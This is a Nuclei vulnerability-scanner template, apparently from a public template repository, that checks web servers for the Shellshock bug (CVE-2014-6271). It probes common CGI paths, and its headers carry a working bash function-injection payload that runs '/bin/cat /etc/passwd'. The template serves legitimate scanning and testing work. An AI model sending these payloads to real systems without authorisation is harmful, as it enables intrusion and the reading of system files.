nuclei-templates/cves/2014/CVE-2014-6271.yaml

37 lines
1.1 KiB
YAML
Raw Normal View History

2020-10-01 18:03:35 +00:00
id: CVE-2014-6271
info:
name: Shellshock
author: pentest_swissky
severity: high
description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
2021-04-22 09:02:19 +00:00
reference: |
- http://www.kb.cert.org/vuls/id/252743
- http://www.us-cert.gov/ncas/alerts/TA14-268A
tags: cve,cve2014,rce
2020-10-01 18:03:35 +00:00
requests:
- method: GET
path:
2021-01-13 07:31:46 +00:00
- "{{BaseURL}}"
2020-10-01 18:03:35 +00:00
- "{{BaseURL}}/cgi-bin/status"
- "{{BaseURL}}/cgi-bin/stats"
- "{{BaseURL}}/cgi-bin/test"
- "{{BaseURL}}/cgi-bin/status/status.cgi"
- "{{BaseURL}}/test.cgi"
- "{{BaseURL}}/debug.cgi"
2021-07-23 03:10:33 +00:00
- "{{BaseURL}}/cgi-bin/test-cgi"
2020-10-01 18:03:35 +00:00
headers:
2020-10-01 18:45:00 +00:00
Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
2020-10-01 18:03:35 +00:00
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
part: body